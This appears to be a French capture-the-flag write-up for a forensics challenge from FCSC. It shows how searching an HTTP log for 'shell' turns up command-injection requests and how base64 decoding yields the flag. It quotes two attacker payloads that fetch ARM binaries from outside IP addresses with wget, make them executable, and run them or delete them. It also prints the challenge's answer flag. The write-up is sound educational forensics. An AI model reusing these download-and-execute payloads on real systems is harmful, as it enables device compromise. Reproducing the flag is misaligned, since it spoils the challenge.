Solution de RunningToOblivion pour Histoire sans fin 1/2

forensics linux

23 décembre 2023

On a ici affaire à un fichier texte contenant des requêtes HTTP. Les requêtes ne sont pas dans un format analysable par wireshark, on va donc procéder manuellement pour trouver des requêtes intéréssantes, par un CTRL+F dans l’éditeur de votre choix Après avoir tenté FCSC, flag, admin et n’avoir rien trouvé, on peut se demander si dans le contexte d’une attaque le mot shell ne pourrait pas être utilisé.

Effectivement, on trouve une requête :

GET /shell?cd%20/tmp;wget%20http:/%5C/80.211.99.98/arm7%20-O%20arm7;%20chmod%20777%20arm7;%20./arm7%20jaws.arm7 HTTP/1.1" 200 143 "-" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-957.1.3.el7.x86_64

Notre hacker semble donc essayer d’éxécuter des commandes à distance. Cependant, elle est encodée, ce qui la rend plus difficile à lire. On va donc se faciliter la tâche en la décodant avec CyberChef (on aurait tout aussi bien pu le faire avec python), ce qui nous servira aussi à filtrer le document pour n’inclure que les requêtes ayant shell dans leur contenu (regex .*shell.*) On a maintenant quelque chose de beaucoup plus lisible, dans lequel on peut voir une requête sortant du lot :

185.150.190.103 - - [13/Feb/2020:06:12:41  0000] "GET /shell?cd /tmp || cd /var/run || cd /mnt || cd /root; wget http:/\/190.115.18.86/b/arm7;chmod 777 arm7;echo -n "RkNTQ3tDK3o2aUZYbXRyS0pjZUF9" | base64 -d && rm -rf arm7 HTTP/1.1" 200 27 "-" "python-requests/2.22.0"

On décode la valeur en base64 fournie (RkNTQ3tDK3o2aUZYbXRyS0pjZUF9) et on trouve FCSC{C+z6iFXmtrKJceA}.